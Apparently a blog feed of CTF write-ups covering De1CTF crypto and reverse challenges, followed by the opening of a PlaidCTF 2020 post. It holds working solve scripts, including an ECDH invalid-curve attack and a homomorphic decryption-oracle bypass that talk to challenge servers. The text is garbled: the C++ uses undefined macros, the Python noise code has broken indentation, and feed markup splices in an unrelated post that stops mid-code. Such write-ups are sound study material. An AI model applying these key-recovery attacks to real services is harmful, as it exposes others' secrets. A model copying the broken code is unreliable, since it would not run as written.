搜索到 De1CTF2019 的 Mini Purε 一题，本题和该题大致相同，只是已知的明文连续，并且轮数从 6 增加到了 16。同样考虑插值，但是本题中需要插值的多项式达到了 $$3^{14}$$ 次，$$n^2$$ 的算法无法通过，并且插值和求 key 需要分开进行。通过找规律可以发现 （实际上把拉格朗日插值的式子化一下也能得到相同结果） ，对于函数 $$F$$，若 $$F$$ 的次数不超过 $$k-1$$（$$k$$ 是 $$2$$ 的幂），则 $$F(n)=\sum\_{i=0}^{k-1} F(i)\frac{\prod\_{j=0,j\neq i}^{k-1}n \oplus j}{(k-1)!}$$（$$\oplus$$ 表示异或，乘法是这个域下的（即 F.Multiply），阶乘指这个域下的 1,2,...,k-1 相乘）。这个式子右边的系数可以 $$O(k)$$ 求出所有 n^j 的乘积后，再每次除以对应的 n^j 算出。把最后一个 key 设为未知数，然后再套用这个公式，即可得到一个 key 满足的三次方程（实际上三次项系数恒为 0）。可以枚举 key 来解出这个方程。需要找多个 n，求出解的交集，才能保证唯一性。

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

#define BSZ 131072
template<const char*fn>struct FCg{char t[BSZ+1],*o,*e;FILE*f;FCg(){f=fopen(fn,"r");e=o=t+BSZ;}I char operator()(){if(o==e)fread(o=t,1,BSZ,f);return *o++;}};

ull mul(ull a,ull b)
{
	ull r=0;
	fo0(i,64)if(a>>i&1)r^=b<<i;
	return r;
}

ull divn(ull a,ull b)
{
	ull r=0;
	fd0(i,60-std::__lg(b))if((a^(b<<i))<a)r^=1ull<<i,a^=b<<i;
	return r;
}

ull mod(ull a,ull b)
{
	ull r=0;
	fd0(i,60-std::__lg(b))if((a^(b<<i))<a)r^=1ull<<i,a^=b<<i;
	return a;
}

pii divmod(ull a,ull b)
{
	ull r=0;
	fd0(i,25)if((a^(b<<i))<a)r^=1ull<<i,a^=b<<i;
	return mp(r,a);
}

void exgcd(ull a,ull b,ull&x,ull&y)
{
	if(!b)
	{
		x=1,y=0;
		return;
	}
	exgcd(b,mod(a,b),y,x);
	y^=mul(divn(a,b),x);
}

ull inv_(ull a,ull b)
{
	ull x,y;
	exgcd(a,b,x,y);
	assert(mod(mul(a,x),b)==1);
	return x;
}

const int P=16901801;

uint mulm(uint x,uint y)
{
	ull a=0;
	fo0(i,24)if(x>>i&1)a^=ull(y)<<i;
	fd(i,46,24)if(a>>i&1)a^=16901801ull<<(i-24);
	return a;
}

uint mulm8(uint x,uint y)
{
	ull a=0;
	fo0(i,25)if(x>>i&1)a^=ull(y)<<i;
	fd(i,50,24)if(a>>i&1)a^=16901801ull<<(i-24);
	return a;
}

uint modx(uint x)
{
	if(x>>24)return x^P;return x;
}

const int N=1<<24;
const uint EL=0x777777;

uint sl[N],sr[N];

constexpr char F_PT[]="pt.txt",F_CT[]="ct.txt";

uint hex1(char x)
{
	if(x<=57)return x-48;
	return x-87;
}

uint dehex(char*s)
{
	uint r=0;
	fo0(i,6)r=r*16+hex1(s[i]);
	return r;
}

uint fbox3(uint x)
{
	ull a=0,b=0,t[4]={0,x,x<<1,x^(x<<1)};
	for(ull i=0;i<24;i+=2)a^=t[x>>i&3]<<i;
	fd(i,46,41)if(a>>i&1)a^=16901801ull<<(i-24);
	t[3]=(t[1]=a)^(t[2]=a<<=1);
	for(ull i=0;i<24;i+=2)b^=t[x>>i&3]<<i;
	fd(i,63,24)if(b>>i&1)b^=16901801ull<<(i-24);
	return b;
}

uint get_interpolate_coeff(int n,int rx)
{
	uint tt=1,vv=1;
	fo0(i,n)tt=mulm(tt,rx^i);
	fo1(i,n-1)vv=mulm(vv,i);
	return mulm(tt,inv_(vv,P));
}

uint inv[N];

int main()
{
	inv[1]=1;
	fo(i,2,N-1)
	{
		pii t=divmod(P,i);
		inv[i]=mulm8(P^t.xx,inv[t.yy]);
	}
	out,"pre inv ok\n";
	Fr<FCg<F_PT>>in_pt;
	Fr<FCg<F_CT>>in_ct;
	fo0(i,N)
	{
		char a[13],b[13];
		in_pt,a;
		in_ct,b;
		uint x=dehex(a+6),y=dehex(b),z=dehex(b+6);
		sl[x]=z,sr[x]=y;//swapped
	}
	out,"read file ok\n";
	int keys[16];
	for(int keypos=15;keypos>=2;keypos--)
	{
		out,"solving key ",keypos,'\n';
		int keyr=pow(3,keypos-1);
		int n=1<<1+std::__lg(keyr);
		std::set<int>real_valid;
		for(int rx=n;;rx++)
		{
			out,"n ",n,", try rx ",rx,'\n';
			uint tt=get_interpolate_coeff(n,rx);
			out,"get interpolate coef ok\n";
			uint coef[4];
			mset(coef,0);
			fo0(i,n)
			{
				// l , r = r , l ^ fbox(keys[i] ^ r)
				// oldl = r ^ fbox(key ^ l)
				uint a=sl[i],b=mulm(a,a),c=mulm(a,b),v=mulm(tt,inv[rx^i]);
				coef[0]^=mulm(sr[i]^c,v);
				coef[1]^=mulm(b,v);
				coef[2]^=mulm(a,v);
				coef[3]^=v;
			}
			{
				uint a=sl[rx],b=mulm(a,a),c=mulm(a,b);
				coef[0]^=sr[rx]^c;
				coef[1]^=b;
				coef[2]^=a;
				coef[3]^=1;
			}
			out,"get coef ok\n";
			out,"coef:";fo0(i,4)out,coef[i],' ';out,'\n';
			std::set<int>valid;
			fo0(i,N)
			{
				uint a=i,b=mulm(a,a),c=mulm(a,b);
				if(!modx(mulm(coef[3],c)^mulm(coef[2],b)^mulm(coef[1],a)^coef[0]))valid.insert(i);
			}
			if(!real_valid.size())
			{
				real_valid=valid;
			}
			else
			{
				std::set<int>nxt;
				for(int x:valid)if(real_valid.count(x))nxt.insert(x);
				real_valid=nxt;
				if(real_valid.size()==1)break;
				assert(real_valid.size());
			}
			out,"possible keys:";for(int x:real_valid)out,x,' ';out,'\n';
		}
		int key=*real_valid.begin();
		keys[keypos]=key;
		out,"key ",keypos,": ",key,'\n';
		fo0(i,N)
		{
			uint l=sl[i],r=sr[i];
			uint oldl=r^fbox3(key^l);
			r=l;
			l=oldl;
			sl[i]=l,sr[i]=r;
		}
		out,"decrypted\n";
	}
	
	fo0(i,N)if((EL^fbox3(i))==sl[0]&&(EL^fbox3(i^1))==sl[1])keys[0]=i;
	fo0(i,N)if(fbox3(sl[0]^i)==sr[0]&&(1^fbox3(sl[1]^i))==sr[1])keys[1]=i;
	
	out,"keys: ";fo0(i,16)out,keys[i],", ";out,'\n';
}
```

## ECDH

程序中没有对公钥进行校验，可以用不在曲线上的点。枚举一些 $$b$$，找一些阶有小因子的曲线，对这些小因子可以暴力求出离散对数的余数，然后使用中国剩余定理合并。

下面两个脚本，第一个脚本是枚举 $$b$$ 的，第二个是和服务器交互的。

```python
from sage.all import *
from sympy.ntheory import sqrt_mod
from gmpy2 import *
import random

q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd
a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa
#b = 0x56cbc73d8d2ad00e22f12b930d1d685136357d692fa705dae25c66bee23157b8
b=3

def timeout(func, args=(), kwargs={}, timeout_duration=10):
	@fork(timeout=timeout_duration, verbose=True)
	def my_new_func():
		return func(*args, **kwargs)
	return my_new_func()

def fac1(n):
	t=timeout(factor,(n,),{},3)
	if type(t) is str:
		return [(n,1)]
	return list(t)

zero=(0,0)
def add(p1,p2):
	if p1 == zero:
		return p2
	if p2 == zero:
		return p1
	(p1x,p1y),(p2x,p2y) = p1,p2
	if p1x == p2x and (p1y != p2y or p1y == 0):
		return zero
	if p1x == p2x:
		tmp = (3 * p1x * p1x + a) * invert(2 * p1y , q) % q
		#print(tmp,invert(2 * p1y , q),(3*p1x*p1x+a)%q)
	else:
		tmp = (p2y - p1y) * invert(p2x - p1x , q) % q
	#print('tmp:',tmp)
	x = (tmp * tmp - p1x - p2x) % q
	y = (tmp * (p1x - x) - p1y) % q
	return (int(x),int(y))

def mul(n,p):
	r = zero
	tmp = p
	while 0 < n:
		if n & 1 == 1:
			r = add(r,tmp)
		n, tmp = n >> 1, add(tmp,tmp)
	return r

F=FiniteField(q)

f={}

while True:
	E=EllipticCurve(F,[a,b])
	o=E.order()
	print b,o
	t=fac1(o)
	print(t)
	for x,y in t:
		if x**y<10000 and (x not in f or f[x][0]<y):
			r=int(o)//x**y
			#while True:
			t2=False
			for i in range(x**y*3):
				ux=random.randint(0,q-1)
				uy=sqrt_mod((ux**3+ux*a+b)%q,q)
				#print(ux,uy)
				if uy is not None:
					od=E.point((ux,uy)).order()
					if od % x**y == 0:
						t2=mul(int(od)//x**y,(ux,uy))
						break
			if t2==False:
				print(x,y,'skip')
				continue
			print(x,y,t2)
			assert(E.point(t2).order()==x**y)
			f[x]=(y,t2)
	u=1
	for x in f:
		u*=x**f[x][0]
	print 'u:',u
	if u>q: break
	b+=1

for x in f:
	print(x,f[x][0],f[x][1])
```

```python
import os,random,sys,string
from hashlib import sha256
from gmpy2 import invert
from binascii import unhexlify
from pwn import *

context.log_level='debug'

table=[(2, 6, (15515261289492000636723716832530474441073793179820253654344161846899397174163, 70732673780185253533560312981065425697374855122155226842361189468006993016608)),
(3, 4, (60644430586292500807468800471222459463635175483477838721990697739818739099186, 16849390271247056396316169242269790248390887059915425051633208890222288732308)),
(5, 3, (5528529652585034540224644062864754084219932471810717108295409545601068117245, 51758490718562369829013860973372210155698131711621237886181135191530362849794)),
(7, 4, (40392338877400485203078176081718688614099837261220989485738369786640826232054, 91153592734846614636469144647462767082263205384560870269434577477306773979891)),
(11, 1, (26468109550543433678994725852332470419860078736495236337093765517625052146217, 30030378315449445421642742996042765533105249598547875770169791334902801551576)),
(13, 1, (95295478088788933512826351457131936019556851795692390283786723909538384825602, 97278701628009650441905889580352351278736310561880101391071560781416283458962)),
(17, 1, (65837680812938494455375972222216255836369326737529398552707397639739049723703, 33208520506802012808461386954426139890984796376331927142382609600245216288494)),
(131, 1, (75413644696437288380416125222340362010683706114954647219476351446822453348076, 83702919061607667358054206436481921059620150651200302096596829041453951506443)),
(5657, 1, (70499678082099959151425588974046571307561218806076877159661239835817348455787, 11505825114646650622194943383898280302683645307270959404836704168921936777413)),
(9241, 1, (13469916461975726791324477068741305127538951745273261934754783046892205243425, 625147783966158809929549276916984877707259429146400534321490899006477322266)),
(4621, 1, (10076941876862741784977155613763400255220273193889689786141182250956528935919, 49406921986921091899525425340592596515650819043238308774041397214839183276000)),
(2333, 1, (71880145504007257203966204065686225216236958299194853057697944529309264988346, 8677894132577051961756730904145989744695974306667223198269180132628421781789)),
(31, 1, (71042727689323597341291894219177126947616248823335274140949335289544392720824, 45772930136487189798938708075768675400376691242082880401294458476052354873898)),
(37, 1, (24118287569188964318275888822817421880450904526350392166501002900611917829565, 3680190950398616974070833403166614986350330478918223384476799013369032031851)),
(1009, 1, (92187640513637539408296220568909716964516433202612852987221284345725680872609, 26260904735235128781738570562562721709781352309940097086267361653176966173676)),
(41, 1, (3066999177232399566508055021243130941665805183592135288208622116033265288444, 92393733619593491765990163126745077862875965784039641959544220857159656474086)),
(43, 1, (97228779193481048069285040598986324767912386297638779341714456628677381491695, 18759417200485761166946170090462910796186262281394965842860629726771509917917)),
(47, 1, (57180193262500956333203171862406674004642936568084724246042508084678517575640, 70162295479900913971593701336814638490133667924284548274495009809941170069250)),
(53, 1, (15579788653108424130263940051632273201909924510914880066303214667923223073219, 76263745719636011547585341737098104188635706224250254064457670665325932374031)),
(311, 1, (950329615975590747523806576462151877961103821569268241790171963348349791909, 76543211939132548291393704246697102389659652088494495704582204879372361098723)),
(6073, 1, (25016342617497682964438693423273111600168741895722086513717109106463747542427, 57768715347881292141064126576258017798037475015634531788352982807876997221251)),
(1567, 1, (74058700877346832479128967774152612928000983436457734350068032120895529216497, 1708279924881167680901068917743327624896568244136802468165850058989229161145)),
(1973, 1, (54729816429035730894822772247154366967107036508315733382573253360968405034799, 81429716748913679974061130364821817487515206212180922370900847048231930941763)),
(1291, 1, (74980927490098396683015872123990216016037302378390964998804014735849997412469, 82625687252178165025928010201289023441868160811044396968885376008215748852604)),
(709, 1, (92955163666272498635446824256806680531972012111577971243736656488139632096882, 66922942483051868447068386260718042684834251247583246641977579031995329864591)),
(719, 1, (71799262452972755571855429182036975429508040858823728850004489395747854471701, 73681861832673181257393813284559219372405590409965081777800968576795832942512)),
(853, 1, (64908313140867893143216336630963136039584606786189601019828694727341243414171, 33085867585019942469263918716669571228794418949740146064880473153645942681676)),
(59, 1, (36996626633099586579662722926353853127782282780590288372280652930641604528707, 45917233308318199676044676117838944021278139827386480013081783161258801905500)),
(103, 1, (77849788044807298207880916948872226371255754702212393500094336975351126048340, 27542826819935558516725818290967078863217407852992402818731591102209581497613)),
(2281, 1, (97969541276731315447885157282376106483991961866722142348413628177302083792895, 45798677383348696990666008407246194680327854507649706700191958988885151615672)),
(29, 1, (77531461761763053544962150909546436954079293162821864080798209972546114789501, 48703099908339279581300847939211968945332330876286076427798555180633398400191)),
(881, 1, (24317548779522198821247428992771511674292061765522152455774057311652520808085, 38960104630988783750463951363466493085599734114544363489258672557054552709942))]

q = 0xdd7860f2c4afe6d96059766ddd2b52f7bb1ab0fce779a36f723d50339ab25bbd
a = 0x4cee8d95bb3f64db7d53b078ba3a904557425e2a6d91c5dfbf4c564a3f3619fa
zero = (0,0)

def add(p1,p2):
	if p1 == zero:
		return p2
	if p2 == zero:
		return p1
	(p1x,p1y),(p2x,p2y) = p1,p2
	if p1x == p2x and (p1y != p2y or p1y == 0):
		return zero
	if p1x == p2x:
		tmp = (3 * p1x * p1x + a) * invert(2 * p1y , q) % q
	else:
		tmp = (p2y - p1y) * invert(p2x - p1x , q) % q
	x = (tmp * tmp - p1x - p2x) % q
	y = (tmp * (p1x - x) - p1y) % q
	return (int(x),int(y))

def mul(n,p):
	r = zero
	tmp = p
	while 0 < n:
		if n & 1 == 1:
			r = add(r,tmp)
		n, tmp = n >> 1, add(tmp,tmp)
	return r

s=[]
for x,y,z in table:
	t=x**y
	assert mul(t,z)==zero
	s.append((t,z))

print('s:',len(s))

n=1
for x,y in s:
	n*=x

inv=[]
for x,y in s:
	inv.append(invert(n//x,x))

r=remote('134.175.225.42',8848)

def work_hash():
	r.recvuntil('sha256(XXXX+')
	p=r.recv(16).decode()
	r.recvuntil('== ')
	h=r.recvuntil('\n').strip().decode()
	r.recvuntil('Give me XXXX:')
	st=string.ascii_letters+string.digits
	o=None
	for a in st:
		for b in st:
			for c in st:
				for d in st:
					if hashlib.sha256((a+b+c+d+p).encode()).hexdigest()==h:
						o=a+b+c+d
						break
				if o is not None:
					break
			if o is not None:
				break
		if o is not None:
			break
	r.send(o+'\n')
work_hash()

def leak(x,y,first):
	if not first:
		r.recvuntil('Tell me your choice:\n')
		r.send('Exchange\n')
	r.recvuntil('X:\n')
	r.send(str(x)+'\n')
	r.recvuntil('Y:\n')
	r.send(str(y)+'\n')
	r.recvuntil('Exchange success\n')
	r.recvuntil('Tell me your choice:\n')
	r.send('Encrypt\n')
	r.recvuntil('Give me your message(hex):\n')
	r.send('f'*128+'\n')
	r.recvuntil('The result is:\n')
	a=r.recvuntil('\n').strip()
	assert len(a)==128
	a=unhexlify(a)
	print(a)
	b=[]
	for i in a:
		b.append(i^0xff)
	c=int.from_bytes(bytes(b),'big')
	return c>>256,c&(2**256-1)

rv=0
for i in range(len(s)):
	c=s[i][0]
	x,y=s[i][1]
	res=leak(x,y,i==0)
	print(res)
	t=-1
	cur=zero
	for j in range(c):
		if cur==res:
			t=j
			break
		cur=add(cur,(x,y))
	print(i,t)
	assert t!=-1
	rv=(rv+t*inv[i]*(n//c))%n

r.recvuntil('Tell me your choice:\n')
r.send('Backdoor\n')
r.recvuntil('Give me the secret:\n')
r.send(str(rv)+'\n')
r.interactive()
```

## Homomorphic

正如题目名所说，题目中的加密是同态的，给密文乘 x，则原文也会乘 x，所以只需要给 flag 的密文都乘上 x 再询问就可以绕过了。

```python
from pwn import *
import time

r=remote('106.52.180.168',8848)

for i in range(0,88,2):
	r.send('Decrypt\n')
	r.recvuntil('Please input c0(Separated by commas):\n')
	r.send(','.join(map(str,[0]+s[i]))+'\n')
	r.recvuntil('Please input c1(Separated by commas):\n')
	r.send(','.join(map(str,[0]+s[i+1]))+'\n')
	r.recvuntil('The index:\n')
	r.send('1\n')
	#r.interactive()
	r.recvuntil('The result is: \n')
	print(chr(int(r.recvuntil('\n'))),end='')
```

## mc_noisemap

网站会根据当前时间生成一些随机数，和 flag 异或，把每两个字节处理成一个 16 位的数，然后根据这些数生成若干图片。可以访问 `/map?seed=xxx` 生成原始图片，而网站本身的图片是加过水印的。

基本的思想是生成出所有图片，然后和网站上的匹配。注意到雪地在加水印之后颜色不变，可以以此作为标准来匹配。可以找出雪地相差不超过 10 块的图片，如果这样的图片超过 10 个，则可能原图根本没有雪地，这种情况可以直接忽略（因为网站可以多次生成）最后多跑一段时间，然后看看得到的 flag 哪种最多就好了。

下面这个脚本是生成图片信息用的：

```python
from math import floor,cos,pi,sqrt

PERLIN_YWRAPB = 4
PERLIN_YWRAP = 1 << PERLIN_YWRAPB
PERLIN_ZWRAPB = 8
PERLIN_ZWRAP = 1 << PERLIN_ZWRAPB
PERLIN_SIZE = 4095
perlin_octaves = 4
perlin_amp_falloff = 0.5

perlin=[0]*(PERLIN_SIZE+1)

def scaled_cosine(i):
	return 0.5 * (1.0 - cos(i * pi));

def noiseSeed(seed):
	m=4294967296
	a=1664525
	c=1013904223
	z=seed
	for i in range(PERLIN_SIZE+1):
		z=(a*z+c)%m
		perlin[i]=z/m

def noise(x,y=0,z=0):
	if x<0: x=-x
	if y<0: y=-y
	if z<0: z=-z
	xi=floor(x)
	yi=floor(y)
	zi=floor(z)
	xf=x-xi
	yf=y-yi
	zf=z-zi
	r=0
	ampl=0.5
	for o in range(perlin_octaves):
		of = xi + (yi << PERLIN_YWRAPB) + (zi << PERLIN_ZWRAPB);

rxf = scaled_cosine(xf);
		ryf = scaled_cosine(yf);

n1 = perlin[of & PERLIN_SIZE];
		n1 += rxf * (perlin[(of + 1) & PERLIN_SIZE] - n1);
		n2 = perlin[(of + PERLIN_YWRAP) & PERLIN_SIZE];
		n2 += rxf * (perlin[(of + PERLIN_YWRAP + 1) & PERLIN_SIZE] - n2);
		n1 += ryf * (n2 - n1);

of += PERLIN_ZWRAP;
		n2 = perlin[of & PERLIN_SIZE];
		n2 += rxf * (perlin[(of + 1) & PERLIN_SIZE] - n2);
		n3 = perlin[(of + PERLIN_YWRAP) & PERLIN_SIZE];
		n3 += rxf * (perlin[(of + PERLIN_YWRAP + 1) & PERLIN_SIZE] - n3);
		n2 += ryf * (n3 - n2);

n1 += scaled_cosine(zf) * (n2 - n1);

r += n1 * ampl;
		ampl *= perlin_amp_falloff;
		xi <<= 1;
		xf *= 2;
		yi <<= 1;
		yf *= 2;
		zi <<= 1;
		zf *= 2;
		
		if xf >= 1.0:
			xi+=1
			xf-=1
		
		if yf >= 1.0:
			yi+=1
			yf-=1
		
		if zf >= 1.0:
			zi+=1
			zf-=1
	return r

heights=[.13,.23,.26,.36,.49,.6]

map_height=174
map_width=50
hexagon_size=5
noise_mod=1
noise_scale=.01
island_size=.62

width=504
height=500

def get(seed):
	f=[[0]*map_width for i in range(map_height)]

noiseSeed(seed)

for i in range(map_height):
		y = i * (.86 * hexagon_size)
		for j in range(map_width):
			if i%2==0:
				x = j * (hexagon_size * 3)
			else:
				x = (hexagon_size * 1.5) + j * (hexagon_size * 3)
			noiseVal = noise((x / noise_mod)*noise_scale, (y / noise_mod)*noise_scale)
			dist = sqrt(pow((x - width/2), 2) + pow((y - height/2), 2))
			grad = dist / (island_size * min(width, height))
			noiseVal -= pow(grad, 3)
			noiseVal = max(noiseVal, 0)
			t=0
			while t<6 and int(noiseVal*255)>=heights[t]*255:
				t+=1
			f[i][j]=t
	return f
def encstr(f):
	o=''
	for i in f:
		for j in i:
			o+=str(j)
	return o
for i in range(0,65536,16):
	print('gen %d'%i)
	r=''
	for j in range(i,i+16):
		r+='%d '%j+encstr(get(j))+'\n'
	open('known/%d.txt'%i,'w').write(r[:-1])
```

下面这个是匹配图片用的：

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

const int N=65536;

char fn[20],buf[174*50+10];
std::bitset<174*50>f[N],mask,cur;

void readf(int id)
{
	sprintf(fn,"known/%d.txt",id);
	FILE*f=fopen(fn,"r");
	fo0(i,16)
	{
		int x;
		fscanf(f,"%d",&x);
		assert(x==id+i);
		fscanf(f,"%s",buf);
		fo0(j,174*50)::f[id+i][j]=buf[j]=='6';
		::f[id+i]&=mask;
	}
	fclose(f);
}

int main()
{
	const int hexagon_size=5;
	fo0(i,174)
	{
		int x,y=i * (.86 * hexagon_size);
		fo0(j,50)
		{
			if(i%2==0)x = j * (hexagon_size * 3);
			else x = (hexagon_size * 1.5) + j * (hexagon_size * 3);
			mask[i*50+j]=x>=0&&x<504&&y>=0&&y<500;
		}
	}
	const int CN=31056;
	for(int i=0;i<CN;i+=16)readf(i);
	fo0(id,32)
	{
		sprintf(fn,"fs/%d.txt",id);
		FILE*fl=fopen(fn,"r");
		fscanf(fl,"%s",buf);
		fclose(fl);
		fo0(j,174*50)cur[j]=buf[j]=='6';
		int u;
		std::vector<int>ok;
		fo0(i,CN)if((u=(f[i]^cur).count())<10)ok.pb(i);
		if(ok.size()>10)ok.clear();
		out,id;foe(i,ok)out,' ',*i;out,'\n';
	}
}
```

下面这个是下载图片，调用匹配程序，再写入结果的：

```python
from PIL import Image
import os,time,requests,traceback
import random_seed

colors=[[120, 120, 225],[150, 150, 255],[237, 201, 175],[207, 241, 135],[167, 201, 135],[170, 170, 170],[255, 255, 255]]

heights=[.13,.23,.26,.36,.49,.6]

map_height=174
map_width=50
hexagon_size=5
noise_mod=1
noise_scale=.01
island_size=.62

width=504
height=500

def encstr(f):
	o=''
	for i in f:
		for j in i:
			o+=str(j)
	return o

f=[[0]*map_width for i in range(map_height)]

requests.get('http://134.175.230.10:6002/')

curt=int(time.time())
seqs=[]
for i in range(-30,0):
	seqs.append(random_seed.getseq(curt+i))
print('time:',curt)

for id in range(32):
	print('process',id)
	fold=open('fs/%d.webp'%id,'rb').read()
	while True:
		try:
			open('fs/%d.webp'%id,'wb').write(requests.get('http://134.175.230.10:6002/maps/%d.webp'%id).content)
			im=Image.open('fs/%d.webp'%id)
			break
		except:
			traceback.print_exc()
			time.sleep(0.5)
	fnew=open('fs/%d.webp'%id,'rb').read()
	if fold==fnew:
		print('file not changed')
		continue
	#print(im.getpixel((499,503)))
	for i in range(map_height):
		y = i * (.86 * hexagon_size)
		y=int(y)
		for j in range(map_width):
			if i%2==0:
				x = j * (hexagon_size * 3)
			else:
				x = (hexagon_size * 1.5) + j * (hexagon_size * 3)
			x=int(x)
			if x>=0 and x<width and y>=0 and y<height:
				#print(x,y,im.getpixel((y,x)))
				#if list(im.getpixel((x+8,y+8))) not in colors:
				#	print(x,y,(im.getpixel((x+8,y+8))))
				cnt=0
				for ux in range(-1,2):
					for uy in range(-1,2):
						t=im.getpixel((x+8+ux,y+8+uy))
						if t[0]>250 and t[1]>250 and t[2]>250:
							cnt+=1
				if cnt==9:
					#print(i,j,x,y)
					f[i][j]=6
				else:
					f[i][j]='x'
			else:
				f[i][j]='x'
	open('fs/%d.txt'%id,'w').write(encstr(f))

for i in range(0,25):
	seqs.append(random_seed.getseq(curt+i))

def add(s,y):
	if y not in s:
		s[y]=1
	else:
		s[y]+=1

print('run cpp')
os.system('a.exe>aout.txt')
print('run cpp ok')
if not os.path.exists('pb.txt'):
	pb=[{}for i in range(32)]
else:
	pb=eval(open('pb.txt').read())
cur=0
for i in open('aout.txt').readlines():
	t=list(map(int,i.split()))
	assert t[0]==cur//2
	t=t[1:]
	for k in t:
		high=k>>8
		low=k&255
		#a,b a+b==high b-a==low
		#b*2==high+low
		t=high+low
		if t&1:
			continue
		for b in [t>>1,(t>>1)+128&255]:
			a=(high-b)&255
			assert ((a+b)&255)==high and ((b-a)&255)==low
			for j in seqs:
				add(pb[cur//2],(j[cur]^a,j[cur+1]^b))
	cur+=2
open('pb.txt','w').write(str(pb))
```

最后跑了十几分钟，每两个字节出现大于三次的情况基本都是对了的，人工筛选一下可以得到 secret：`Minecraft Noise Secret is: De1CTF{MCerrr_L0v3_P3r1iN_N0IsE-M4p?}`。

# Reverse

## parser

flag 里可以有字母、数字和 `_+`。对于 `+` 分割的两块，程序会把他们的处理结果连起来，以 pad(`De1CTF`) 为 key 做 aes 加密；其次对于 `_` 分割的，会连起来做 des；最后对于单块的字母数字，会做 rc4。最后得到的结果会和内置串进行比较。可以尝试对当前串解密，然后判断 pad（或者是不是字母数字），如果是就递归搜索。

```python
from Crypto.Cipher import AES,DES,ARC4
import string

req=b"\xe7\xa43L\xd3\x11\xe7\x85hV\x97\x11\xee\xd2\xf8\xd9>p\xc9N\x94\xa02Z'\x98\x00\x1d\xd5\xd7\x11\x1d\xf4\x85a\xac\x0c\x80'@\xbd\xdd\x1f\x0b\xb4\x97\x1f`[T\xcb\xc5\xa8\xb7\x11\x90\xc9\xb5\x81eS\x0f~\x7f"

def xor_str(x,y):
	return bytes(map(lambda x,y:x^y,x,y))

def dec1(s):
	key=b'De1CTF\n\n\n\n\n\n\n\n\n\n'
	return AES.new(key,AES.MODE_CBC,key).decrypt(s)

def dec2(s):
	key=b'De1CTF\x02\x02'
	return DES.new(key,DES.MODE_CBC,key).decrypt(s)

def dec3(s):
	key=b'De1CTF'
	return ARC4.new(key).decrypt(s)

def checkpad(s,n):
	t=s[-1]
	if t==0 or t>n:
		return False
	return s[-t:]==bytes([t]*t)

def unpad(s):
	return s[:-s[-1]]

def valid1(s):
	return checkpad(s,16)

def valid2(s):
	return checkpad(s,8)

def valid3(s):
	t=(string.ascii_letters+string.digits).encode()
	for i in s:
		if i not in t:
			return False
	return True

def work(s):
	res=[]
	res2=[]
	if len(s)%16==0 and valid1(dec1(s)):
		res.append((unpad(dec1(s)),1))
	if len(s)%8==0 and valid2(dec2(s)):
		res.append((unpad(dec2(s)),2))
	if valid3(dec3(s)):
		res2.append(dec3(s))
	return res,res2

def dfss(t,more,lvl):
	b=dfs(t,True)
	if more:
		for j in range(1,len(t)):
			x=dfss(t[:j],False,lvl)
			if len(x)==0:
				continue
			y=dfss(t[j:],True,lvl)
			for u in x:
				for v in y:
					b.append(u+(b'+' if lvl==1 else b'_')+v)
	return b

def dfs(s,more):
	a,b=work(s)
	for t,lvl in a:
		b+=dfss(t,True,lvl)
	return b

print(b'De1CTF{'+dfs(req,True)[-1]+b'}')
```

## little_elves

动态调试，flag 被拿去做了很多次操作。每次操作 flag 中的一位被拿出，在一个 lfsr 中循环 8 次，再根据一些内置的数组决定要不要异或进去。把每一位的这些值全部异或起来，再拿去和另一个数比较，如果全部正确则返回 0。可以解析文件拿到这些数组和比较值的位置，然后高消。

```python
bin=open('little_elves','rb').read()

s=[]

cur=0
while True:
	cur=bin.find(b'\x8a\x97',cur+2)
	if cur==-1:
		break
	pos=int.from_bytes(bin[cur+2:cur+6],'little')-0x888000
	m=bin[pos:pos+44]
	pos=bin.find(bin[0x117:0x11a],cur)
	assert bin[pos+5:pos+7]==b'\x81\xfb' or bin[pos+5:pos+7]==b'\x83\xfb'
	r=bin[pos+7]
	s.append((m,r))

N=44*8
M=44

def xor(a,b):
	return list(map(lambda x,y:x^y,a,b))

def xor2(a,b):
	return list(map(lambda x,y:xor(x,y),a,b))

def lfsr(x):
	res=[[0]*N]+x[:-1]
	t=x[-1]
	for i in range(8):
		if 0x39>>i&1:
			res[i]=xor(res[i],t)
	return res

o=[]

for mask,res in s:
	b=[[0 for k in range(N)]for j in range(8)]
	for i in range(M):
		c=[[i*8+j==k for k in range(N)]for j in range(8)]
		d=mask[i]
		for j in range(8):
			if d&1:
				b=xor2(b,c)
			c=lfsr(c)
			d>>=1
	for i in range(8):
		o.append(b[i]+[res>>i&1])

s=o
for i in range(N):
	t=i
	while not s[t][i]:
		t+=1
	if t!=i:
		s[i],s[t]=s[t],s[i]
	for j in range(N):
		if j!=i and s[j][i]:
			s[j]=xor(s[j],s[i])
res=0
for i in range(M):
	t=0
	for j in range(8):
		t+=s[i*8+j][N]<<j
	print(chr(t),end='')
```

]]> <![CDATA[PlaidCTF 2020 Writeup]]> /archives/283/ 2020-04-29T05:39:18+08:00 2020-04-29T05:39:18+08:00 admin

# Crypto
## stegasaurus scratch
Given a c file, which calls lua, and we need to finish two tasks.
In the first one, we need to construct an injective map between 8 distinct numbers from 0 to 39999, and 7 distinct numbers with their permutation. Note that C(40000,8)/C(40000,7) is about 5000, which is less than 7!, thus it’s possible. We may delete the number which is k-th smallest, where k is the total sum of 8 numbers modulo 8. For any 7-number tuples, there exists about 5000(more precisely, less than 5008) other numbers, such that it will be deleted. We can find the rank of the actual one in them, and encode it into a permutation.
In the second task, Alice is given an array of length 96, consists of 32 `2`s and 64 `1`s, she needs to mark 32 of the `1`s to `0`. Bob is given the remaining array, but he only knows whether a number is `0`. He needs to find all “2”s. In fact, the task needs a bijective map from C(96,32) to C(96,32), but each pair don’t have common elements. We may split the sequence into blocks of length 2, if some block is 01 or 10, just flip it. Otherwise, we obtain a new sequence with `11` and `00`, thus it’s the same as the original problem, and we can recursively solve it.
```lua
function nthperm(n)
	s={}
	t=1
	for i=1,7,1 do
		a=n//t
		t=t*i
		b=a//i
		c=a-i*b
		s[i]=c+1
	end
	for i=1,7,1 do
		for j=1,i-1,1 do
			if s[j]>=s[i] then
				s[j]=s[j]+1
			end
		end
	end
	return s
end

